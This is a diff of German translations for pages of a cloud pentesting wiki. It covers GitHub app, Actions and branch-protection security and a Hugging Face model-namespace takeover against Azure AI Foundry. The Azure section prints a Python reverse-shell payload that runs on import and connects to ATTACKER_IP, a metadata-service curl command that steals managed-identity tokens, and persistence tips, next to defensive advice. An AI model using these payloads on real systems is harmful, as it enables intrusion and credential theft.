-- Eine OAuth App kann als Identitätsprovider verwendet werden, indem sie ein "Login with GitHub" für den authentifizierten Benutzer ermöglicht.
-- **Baue keine OAuth App**, wenn deine Anwendung **nur für ein einzelnes Repository** handeln soll. Mit dem `repo` OAuth-Scope können OAuth Apps **auf _alle_ Repositories des authentifizierten Benutzers** zugreifen.
-- **Baue keine OAuth App**, um als Anwendung für dein **Team oder Unternehmen** zu agieren. OAuth Apps authentifizieren als **einzelner Benutzer**. Wenn also eine Person eine OAuth App für das Unternehmen erstellt und das Unternehmen später verlässt, hat niemand sonst Zugriff darauf.
-- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Eine **OAuth App** sollte immer **als der authentifizierte GitHub-User über ganz GitHub agieren** (z. B. beim Versenden von User-Notifications) und nur auf die angegebenen Scopes zugreifen.
+- Eine OAuth App kann als Identity Provider genutzt werden, indem ein "Login with GitHub" für den authentifizierten User aktiviert wird.
+- **Baue keine OAuth App**, wenn deine Anwendung nur auf **ein einzelnes Repository** wirken soll. Mit dem `repo` OAuth-Scope können OAuth Apps **auf _alle_ Repositories des authentifizierten Users** zugreifen.
+- **Baue keine OAuth App**, um sie als Anwendung für dein **Team oder Unternehmen** zu verwenden. OAuth Apps authentifizieren als **einzelner User**; wenn die Person, die die OAuth App erstellt hat, das Unternehmen verlässt, hat niemand sonst Zugriff darauf.
+- **Mehr** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
-Github-Anwendungen können Berechtigungen anfragen, um **auf deine github-Informationen zuzugreifen oder dich zu impersonifizieren**, um spezifische Aktionen auf bestimmten Ressourcen auszuführen. Bei Github Apps musst du die Repositories angeben, auf die die App Zugriff haben wird.
+Github Applications können Berechtigungen verlangen, um **auf deine Github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen auf bestimmten Ressourcen durchzuführen. Bei Github Apps musst du angeben, welche Repositories die App zugreifen darf.
 
-- Um eine GitHub App zu installieren, musst du **Organization owner sein oder Admin-Rechte** in einem Repository haben.
-- Die GitHub App sollte **mit einem persönlichen Konto oder einer Organisation verbunden** sein.
-- Du kannst deine eigene Github application erstellen unter [https://github.com/settings/apps](https://github.com/settings/apps)
-- Du kannst alle **Github applications sehen, die Zugriff auf dein Konto haben** unter [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Dies sind die **API-Endpunkte für Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Abhängig von den Berechtigungen der App kann sie einige dieser Endpunkte aufrufen.
-- Du kannst installierte Apps in einer **Organisation** unter _https://github.com/organizations/\<org_name>/settings/installations_ sehen.
+- Um eine GitHub App zu installieren, musst du **Organisation owner** sein oder Admin-Rechte in einem Repository haben.
+- Die GitHub App sollte **mit einem persönlichen Account oder einer Organisation verbunden sein**.
+- Du kannst deine eigene Github application in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
+- Du kannst alle **Github applications sehen, die Zugriff auf deinen Account haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Das sind die **API-Endpunkte für Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Abhängig von den Berechtigungen der App kann sie einige davon nutzen.
+- Installierte Apps in einer **Organisation** kannst du in _https://github.com/organizations/\<org_name>/settings/installations_ sehen.
 
 Einige Sicherheitsempfehlungen:
 
-- Eine GitHub App sollte **handeln können, ohne von einem Benutzer abhängig zu sein** (es sei denn, die App verwendet ein [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)-Token). Um user-to-server-Zugriffstokens sicherer zu machen, kannst du Zugriffstokens verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen siehe "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Stelle sicher, dass die GitHub App mit **spezifischen Repositories** integriert ist.
-- Die GitHub App sollte **mit einem persönlichen Konto oder einer Organisation verbunden** sein.
-- Erwarte nicht, dass die GitHub App alles kennt und tut, was ein Benutzer kann.
-- **Verwende keine GitHub App**, wenn du nur einen "Login with GitHub"-Dienst brauchst. Eine GitHub App kann jedoch einen [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun.
-- Baue keine GitHub App, wenn du _nur_ als ein GitHub-Benutzer agieren und alles tun möchtest, was dieser Benutzer kann.
-- Wenn du deine App mit Github Actions verwendest und Workflow-Dateien ändern möchtest, musst du im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss Admin- oder Schreibberechtigung für das Repository haben, das die Workflow-Datei enthält. Weitere Informationen siehe "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Eine GitHub App sollte **unabhängig von einem User handeln** (es sei denn, die App verwendet ein [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um user-to-server Access Tokens sicherer zu machen, kannst du Access Tokens verwenden, die nach 8 Stunden verfallen, und ein Refresh Token, das gegen ein neues Access Token ausgetauscht werden kann. Mehr dazu unter "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Stelle sicher, dass die GitHub App mit **konkreten Repositories** integriert ist.
+- Die GitHub App sollte **mit einem persönlichen Account oder einer Organisation verbunden sein**.
+- Erwarte nicht, dass die GitHub App alles weiß und alles tun kann, was ein User tun kann.
+- **Benutze keine GitHub App**, wenn du nur einen "Login with GitHub"-Dienst brauchst. Eine GitHub App kann jedoch einen [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) nutzen, um User einzuloggen _und_ weitere Dinge zu tun.
+- Baue keine GitHub App, wenn du _nur_ als GitHub-User agieren und alles tun möchtest, was dieser User kann.
+- Wenn du deine App mit GitHub Actions nutzt und Workflow-Dateien ändern möchtest, musst du im Namen des Users mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der User muss Admin- oder Schreibrechte für das Repository haben, das die Workflow-Datei enthält. Mehr dazu unter "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Mehr** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Dies **ist kein Authentifizierungsweg in github**, aber eine **malicious** Github Action könnte **unautorisierte Zugriffe auf github** erhalten und je nach den der Action gewährten **Privilegien** könnten verschiedene **Angriffe** möglich sein. Siehe unten für mehr Informationen.
+Das **ist keine Methode, sich bei github zu authentifizieren**, aber eine **malicious** Github Action könnte **unauthorised Zugriff auf github** erlangen und **je nach den der Action gegebenen Privilegien** könnten verschiedene **Angriffe** durchgeführt werden. Siehe unten für mehr Informationen.
 
 ## Git Actions
 
-Git Actions ermöglichen die Automatisierung der **Ausführung von Code, wenn ein Event eintritt**. Üblicherweise bezieht sich der ausgeführte Code **auf den Code des Repositories** (z. B. zum Erstellen eines Docker-Containers oder um zu prüfen, dass ein PR keine Secrets enthält).
+Git Actions ermöglichen die Automatisierung der **Ausführung von Code, wenn ein Event eintritt**. Üblicherweise ist der ausgeführte Code **irgendwie mit dem Code des Repositories verbunden** (z. B. ein Docker-Container bauen oder prüfen, dass der PR keine Secrets enthält).
 
-### Konfiguration
+### Configuration
 
-Unter _https://github.com/organizations/\<org_name>/settings/actions_ ist es möglich, die **Konfiguration der github actions** für die Organisation zu überprüfen.
+In _https://github.com/organizations/\<org_name>/settings/actions_ ist es möglich, die **Konfiguration der Github Actions** für die Organisation zu überprüfen.
 
-Es ist möglich, die Nutzung von github actions komplett zu verbieten, **alle github actions zu erlauben** oder nur bestimmte Actions zuzulassen.
+Es ist möglich, die Nutzung von Github Actions komplett zu verbieten, **alle Github Actions zu erlauben** oder nur bestimmte Actions zuzulassen.
 
-Es ist außerdem möglich zu konfigurieren, **wer die Ausführung einer Github Action genehmigen muss** und die **Berechtigungen des GITHUB_TOKEN**, wenn eine Github Action ausgeführt wird.
+Es ist außerdem möglich zu konfigurieren, **wer die Ausführung einer Github Action genehmigen muss** und welche **Berechtigungen das GITHUB_TOKEN** einer Github Action bei Ausführung hat.
 
 ### Git Secrets
 
-Github Actions benötigen normalerweise eine Art Secrets, um mit github oder Drittanbieter-Anwendungen zu interagieren. Um zu vermeiden, dass diese im Klartext im Repo stehen, erlaubt github, sie als **Secrets** zu speichern.
+Github Actions benötigen in der Regel irgendwelche Secrets, um mit Github oder Drittanbieter-Anwendungen zu interagieren. Um zu vermeiden, dass diese im Klartext im Repo stehen, erlaubt Github, sie als **Secrets** zu speichern.
 
-Diese Secrets können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Damit die **Action auf das Secret zugreifen** kann, musst du es wie folgt deklarieren:
+Diese Secrets können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Dann, damit die **Action auf das Secret zugreifen kann**, musst du es folgendermaßen deklarieren:
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Beispiel: Bash verwenden <a href="#example-using-bash" id="example-using-bash"></a>
+#### Beispiel mit Bash <a href="#example-using-bash" id="example-using-bash"></a>
 ```yaml
 steps:
 - shell: bash
@@ -168,90 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **können nur von den Github Actions** abgerufen werden, in denen sie deklariert sind.
->
-> Sobald sie im repo oder in den organizations konfiguriert sind, **werden users of github nicht mehr in der Lage sein, darauf zuzugreifen**, sie können sie nur **ändern**.
->
-> Daher ist der **einzige Weg, github secrets zu stehlen, Zugriff auf die Maschine zu bekommen, die die Github Action ausführt** (in diesem Szenario kannst du nur auf die secrets zugreifen, die für die Action deklariert sind).
->
-> ### Git Environments
->
-> Github erlaubt das Erstellen von **environments**, in denen du **secrets** speichern kannst. Dann kannst du der github action Zugriff auf die secrets innerhalb der environment geben, mit etwas wie:
+> Secrets **können nur von den Github Actions** abgerufen werden, die sie deklariert haben.
+> 
+> Sobald sie im repo oder in der organization konfiguriert sind, **können Benutzer von github danach nicht mehr auf sie zugreifen**, sie können sie nur **ändern**.
+
+Deshalb ist der **einzige Weg, github secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario kannst du nur auf die für die Action deklarierten secrets zugreifen).
+
+### Git Environments
+
+Github erlaubt das Erstellen von **environments**, in denen du **secrets** speichern kannst. Dann kannst du der github action Zugriff auf die secrets innerhalb der environment geben mit etwas wie:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Du kannst eine Environment so konfigurieren, dass sie von **allen Branches** (Standard), **nur geschützten** Branches oder **bestimmten** Branches zugänglich ist.\
-Zusätzlich beinhalten Environment‑Schutzmaßnahmen:
-- **Required reviewers**: halten Gate‑Jobs, die auf die Environment zielen, zurück, bis sie genehmigt sind. Aktiviere **Prevent self-review**, um das Vier‑Augen‑Prinzip auch bei der Genehmigung selbst durchzusetzen.
-- **Deployment branches and tags**: beschränke, welche Branches/Tags in die Environment deployen dürfen. Wähle nach Möglichkeit spezifische Branches/Tags und stelle sicher, dass diese Branches geschützt sind. Hinweis: Die Option "Protected branches only" gilt für klassische Branch‑Protections und verhält sich unter Rulesets möglicherweise nicht wie erwartet.
-- **Wait timer**: verzögere Deployments für einen konfigurierbaren Zeitraum.
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
-Man kann außerdem eine **Anzahl erforderlicher Reviews** festlegen, bevor eine **Action** eine **Environment** verwendet oder eine **Wartezeit** konfigurieren, bevor Deployments zugelassen werden.
+It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
 ### Git Action Runner
 
-Eine Github Action kann entweder **innerhalb der Github‑Environment** ausgeführt werden oder in einer **externen Infrastruktur** laufen, die vom Nutzer konfiguriert wurde.
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-Einige Organisationen erlauben es, Github Actions in einer **third party infrastructure** auszuführen, da dies oft **günstiger** ist.
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-Du kannst die self-hosted runners einer Organisation unter _https://github.com/organizations/\<org_name>/settings/actions/runners_ auflisten.
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-Um herauszufinden, welche **Github Actions in non-github infrastructure** ausgeführt werden, suche in den Github Action‑Konfigurations‑YAMLs nach `runs-on: self-hosted`.
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
-Es ist **nicht möglich**, eine Github Action einer Organisation innerhalb einer self-hosted Box einer anderen Organisation laufen zu lassen, weil **ein eindeutiger Token für den Runner** generiert wird, wenn dieser konfiguriert wird, damit er weiß, zu welcher Organisation der Runner gehört.
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-Wenn der eigene **Github Runner auf einer Maschine in AWS oder GCP** konfiguriert ist, könnte die Action **Zugriff auf den metadata endpoint** haben und **das Token des service account** stehlen, unter dem die Maschine läuft.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the Service-Account** the machine is running with.
 
 ### Git Action Compromise
 
-Wenn alle Actions (oder eine bösartige Action) erlaubt sind, könnte ein Benutzer eine **bösartige Github Action** nutzen, die den **Container**, in dem sie ausgeführt wird, kompromittiert.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> Ein **bösartiger Github Action**‑Lauf könnte vom Angreifer dazu missbraucht werden:
+> A **malicious Github Action** run could be **abused** by the attacker to:
 >
-> - **Alle Secrets stehlen**, auf die die Action Zugriff hat
-> - **Lateral movement** betreiben, wenn die Action in einer **third party infrastructure** ausgeführt wird und das SA token der Maschine über den metadata service zugänglich ist
-> - **Das Token missbrauchen**, das vom **workflow** verwendet wird, um **den Code des Repos** zu stehlen, in dem die Action läuft, oder ihn sogar **zu ändern**.
+> - **Steal all the Secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
 ## Branch Protections
 
-Branch‑Protections sind so konzipiert, dass sie den Nutzern **nicht die vollständige Kontrolle über ein Repository** geben. Ziel ist es, **mehrere Schutzmechanismen zu implementieren, bevor Code in einen Branch geschrieben werden kann**.
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
 
-Die **Branch‑Protections eines Repos** findest du unter _https://github.com/\<orgname>/\<reponame>/settings/branches_.
+The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> Es ist **nicht möglich, eine Branch‑Protection auf Organisationsebene** zu setzen. Daher müssen sie in jedem Repo separat definiert werden.
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
-Verschiedene Schutzmechanismen können auf einen Branch (z. B. master) angewendet werden:
+Different protections can be applied to a branch (like to master):
 
-- Du kannst **einen PR vor dem Merge verlangen** (d.h. du kannst nicht direkt in den Branch mergen). Wenn dies aktiviert ist, können weitere Schutzmechanismen gelten:
-- **Eine Anzahl von Approvals verlangen.** Häufig verlangt man 1 oder 2 weitere Personen zur Genehmigung des PR, damit ein einzelner Nutzer nicht direkt mergen kann.
-- **Approvals beim Push neuer Commits verwerfen.** Andernfalls könnte ein Nutzer legitimen Code genehmigen, danach schädlichen Code hinzufügen und mergen.
-- **Approval für den neuesten reviewbaren Push verlangen.** Stellt sicher, dass neue Commits nach einer Genehmigung (einschließlich Pushes durch andere Kollaborateure) eine erneute Review auslösen, sodass ein Angreifer keine nachträglichen Änderungen nach der Genehmigung pushen und mergen kann.
-- **Reviews von Code Owners verlangen.** Mindestens ein Code Owner des Repos muss den PR genehmigen (sodass „zufällige“ Nutzer nicht genehmigen können).
-- **Einschränken, wer Pull‑Request‑Reviews verwerfen darf.** Du kannst Personen oder Teams angeben, die Pull‑Request‑Reviews verwerfen dürfen.
-- **Bestimmten Akteuren erlauben, Pull‑Request‑Anforderungen zu umgehen.** Diese Nutzer können die vorherigen Einschränkungen umgehen.
-- **Status Checks bestehen lassen, bevor gemerged wird.** Bestimmte Checks müssen bestanden werden, bevor der Commit gemerged werden kann (z. B. ein GitHub App‑Bericht mit SAST‑Ergebnissen). Tipp: binde erforderliche Checks an eine bestimmte GitHub App; ansonsten könnte jede App den Check über die Checks API fälschen, und viele Bots akzeptieren Skip‑Direktiven (z. B. „@bot-name skip“).
-- **Konversationen vor dem Merge aufgelöst haben.** Alle Kommentare am Code müssen vor dem Merge des PR gelöst sein.
-- **Signierte Commits verlangen.** Die Commits müssen signiert sein.
-- **Linear history verlangen.** Verhindert, dass Merge‑Commits in passende Branches gepusht werden.
-- **Administrators einschließen.** Wenn dies nicht gesetzt ist, können Admins die Einschränkungen umgehen.
-- **Einschränken, wer in passende Branches pushen darf.** Beschränkt, wer einen PR senden darf.
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
 
 > [!NOTE]
-> Wie du siehst: Selbst wenn du Anmeldeinformationen eines Nutzers erlangst, können **Repos geschützt sein und verhindern, dass du z. B. Code direkt in master pushst**, um die CI/CD‑Pipeline zu kompromittieren.
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
 
 ## Tag Protections
 
-Tags (z. B. latest, stable) sind standardmäßig veränderbar. Um ein Vier‑Augen‑Prinzip bei Tag‑Updates durchzusetzen, schütze Tags und verknüpfe Schutzmaßnahmen über Environments und Branches:
+Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
 
-1) Aktiviere in der Tag‑Protection‑Regel **Require deployments to succeed** und fordere ein erfolgreiches Deployment in eine geschützte Environment (z. B. prod).
-2) In der Ziel‑Environment beschränke **Deployment branches and tags** auf den Release‑Branch (z. B. main) und konfiguriere optional **Required reviewers** mit **Prevent self-review**.
-3) Auf dem Release‑Branch konfiguriere Branch‑Protections so, dass sie **Require a pull request** verlangen, setze Approvals ≥ 1 und aktiviere sowohl **Dismiss approvals when new commits are pushed** als auch **Require approval of the most recent reviewable push**.
+1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
+2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
+3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
 
-Diese Kette verhindert, dass ein einzelner Kollaborateur Releases neu taggt oder force‑published, indem er die workflow YAML bearbeitet, da Deployment‑Gates außerhalb der Workflows durchgesetzt werden.
+This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
 
 ## References
 

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -4,15 +4,15 @@
 
 ## Szenario
 
-- Der Azure AI Foundry Model Catalog enthält viele Hugging Face (HF)-Modelle zur Bereitstellung per Ein-Klick.
-- HF-Modellkennungen sind Author/ModelName. Wenn ein HF-Author/Org gelöscht wird, kann jeder diesen Author neu registrieren und ein Modell mit demselben ModelName unter dem Legacy-Pfad veröffentlichen.
-- Pipelines und Kataloge, die nur nach Name ziehen (kein commit pinning/integrity), werden auf vom Angreifer kontrollierte Repos aufgelöst. Wenn Azure das Modell deployt, kann Loader-Code in der Endpoint-Umgebung ausgeführt werden und RCE mit den Rechten dieses Endpoints ermöglichen.
+- Der Azure AI Foundry Model Catalog enthält viele Hugging Face (HF) Modelle für One-Click-Bereitstellungen.
+- HF model identifiers are Author/ModelName. Wenn ein HF author/org gelöscht wird, kann jeder diesen Author neu registrieren und ein Modell mit demselben ModelName am legacy path veröffentlichen.
+- Pipelines und Kataloge, die nur nach Name pullen (kein commit pinning/integrity), werden auf vom Angreifer kontrollierte Repos aufgelöst. Wenn Azure das Modell deployed, kann Loader-Code in der Endpoint-Umgebung ausgeführt werden und RCE mit den Berechtigungen dieses Endpoints ermöglichen.
 
 Häufige HF-Takeover-Fälle:
-- Löschung des Eigentümers: Alter Pfad 404 bis zur Übernahme.
-- Übertragung der Eigentümerschaft: Alter Pfad leitet mit 307 zum neuen Author, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, bricht die Weiterleitung und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
+- Ownership deletion: Alter Pfad 404 bis zur Übernahme.
+- Ownership transfer: Alter Pfad 307 zum neuen Author, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, bricht die Weiterleitung und das Angreifer-Repo wird am Legacy-Pfad ausgeliefert.
 
-## Identifizierung wiederverwendbarer Namespaces (HF)
+## Identifying Reusable Namespaces (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -23,12 +23,12 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 ```
 ## End-to-End-Angriffsablauf gegen Azure AI Foundry
 
-1) Im Model Catalog HF-Modelle finden, deren ursprüngliche Autoren auf HF gelöscht oder übertragen wurden (alter Autor entfernt).
-2) Den verlassenen Autor auf HF neu registrieren und den ModelName wiederherstellen.
-3) Ein bösartiges repo veröffentlichen mit loader code, der beim import ausgeführt wird oder trust_remote_code=True erfordert.
-4) Den Legacy-Author/ModelName aus Azure AI Foundry deployen. Die Plattform zieht das attacker repo; der loader wird im Azure endpoint-Container/VM ausgeführt und führt zu RCE mit endpoint permissions.
+1) Im Model Catalog HF-Modelle finden, deren ursprüngliche Autoren auf HF gelöscht oder übertragen wurden (alter Author entfernt).
+2) Den verlassenen Author auf HF erneut registrieren und den ModelName neu erstellen.
+3) Ein bösartiges repo veröffentlichen mit Loader-Code, der beim Import ausgeführt wird oder trust_remote_code=True erfordert.
+4) Die legacy Author/ModelName in Azure AI Foundry deployen. Die Plattform zieht das Angreifer-repo; der Loader führt im Azure Endpoint-Container/VM aus und erzielt RCE mit den Berechtigungen des Endpunkts.
 
-Beispiel payload-Fragment, das beim import ausgeführt wird (nur zur Demonstration):
+Beispielhaftes Payload-Fragment, das beim Import ausgeführt wird (nur zur Demonstration):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -46,47 +46,47 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Hinweise
-- AI Foundry-Deployments, die HF integrieren, klonen typischerweise Repo-Module, auf die in der Model-Konfiguration verwiesen wird (z. B. auto_map), was code execution auslösen kann. Manche Pfade erfordern trust_remote_code=True.
-- Der Zugriff entspricht normalerweise den managed identity/service principal permissions des Endpoints. Betrachte ihn als initial access foothold für data access und lateral movement innerhalb von Azure.
+- AI Foundry-Deployments, die HF integrieren, klonen und importieren typischerweise Repo-Module, die in der Konfiguration des Modells referenziert werden (z. B. auto_map), was Codeausführung auslösen kann. Für einige Pfade ist trust_remote_code=True erforderlich.
+- Der Zugriff entspricht in der Regel den Berechtigungen der managed identity/service principal des Endpunkts. Behandle ihn als Initial-Access-Foothold für Datenzugriff und laterale Bewegung innerhalb von Azure.
 
 ## Post-Exploitation Tipps (Azure Endpoint)
 
-- Enumeriere Umgebungsvariablen und MSI endpoints nach Tokens:
+- Enumeriere Environment-Variablen und MSI-Endpunkte nach Tokens:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Überprüfen Sie gemounteten Speicher, Modellartefakte und erreichbare Azure-Dienste mit dem erhaltenen Token.
-- Erwägen Sie persistence, indem Sie poisoned model artifacts hinterlassen, falls die Plattform erneut von HF abruft.
+- Überprüfe eingebundenen Speicher, Modellartefakte und erreichbare Azure-Dienste mit dem erlangten Token.
+- Erwäge persistence, indem du vergiftete Modellartefakte hinterlässt, falls die Plattform Modelle erneut von HF abruft.
 
-## Verteidigungsempfehlungen für Azure AI Foundry-Nutzer
+## Verteidigungshinweise für Azure AI Foundry-Nutzer
 
-- Modelle beim Laden aus HF anhand des Commits pinnen:
+- Modelle beim Laden von HF nach Commit pinnen:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Registry und stelle sie von dort bereit.
-- Scanne kontinuierlich Codebasen und defaults/docstrings/notebooks nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere oder pinne.
-- Überprüfe die Existenz des author und die Modellprovenienz vor der Bereitstellung.
+- Spiegeln Sie geprüfte HF-Modelle in ein vertrauenswürdiges internes Registry und stellen Sie sie von dort bereit.
+- Scannen Sie kontinuierlich Codebasen und defaults/docstrings/notebooks nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisieren oder pinnen.
+- Validieren Sie die Existenz des author und die Provenienz des Modells vor der Bereitstellung.
 
 ## Erkennungsheuristiken (HTTP)
 
-- Gelöschter author: author page 404; legacy model path 404 bis zur Übernahme.
-- Übertragenes Modell: legacy path 307 zum neuen author, während der alte author noch existiert; wird der alte author später gelöscht und neu registriert, liefert der legacy path Angreifer-Inhalte.
+- Gelöschter author: author-Seite 404; legacy model path 404 bis zur Übernahme.
+- Übertragenes Modell: legacy path 307 auf neuen author, während der alte author existiert; wenn der alte author später gelöscht und neu registriert wird, liefert der legacy path Angreifer-Inhalte.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Querverweise
 
-- Siehe ausführlichere Methodik- und Supply-Chain-Hinweise:
+- Siehe die umfassendere Methodik und Hinweise zur Lieferkette:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
 {{#endref}}
 
-## Quellen
+## Referenzen
 
 - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
 - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -4,20 +4,20 @@
 
 ## Szenario
 
-- Vertex AI Model Garden erlaubt die direkte Bereitstellung vieler Hugging Face (HF) Modelle.
-- HF model identifiers are Author/ModelName. Wenn ein Autor/Org auf HF gelöscht wird, kann derselbe Autorenname von jeder Person neu registriert werden. Angreifer können dann ein repo mit demselben ModelName am legacy path anlegen.
-- Pipelines, SDKs oder cloud catalogs, die nur nach Name abrufen (kein pinning/integrity), ziehen das attacker-controlled repo. Wenn das Modell bereitgestellt wird, kann loader code aus diesem repo im Vertex AI endpoint container ausgeführt werden und RCE mit den Berechtigungen des Endpunkts ermöglichen.
+- Der Vertex AI Model Garden ermöglicht die direkte Bereitstellung vieler Hugging Face (HF)-Modelle.
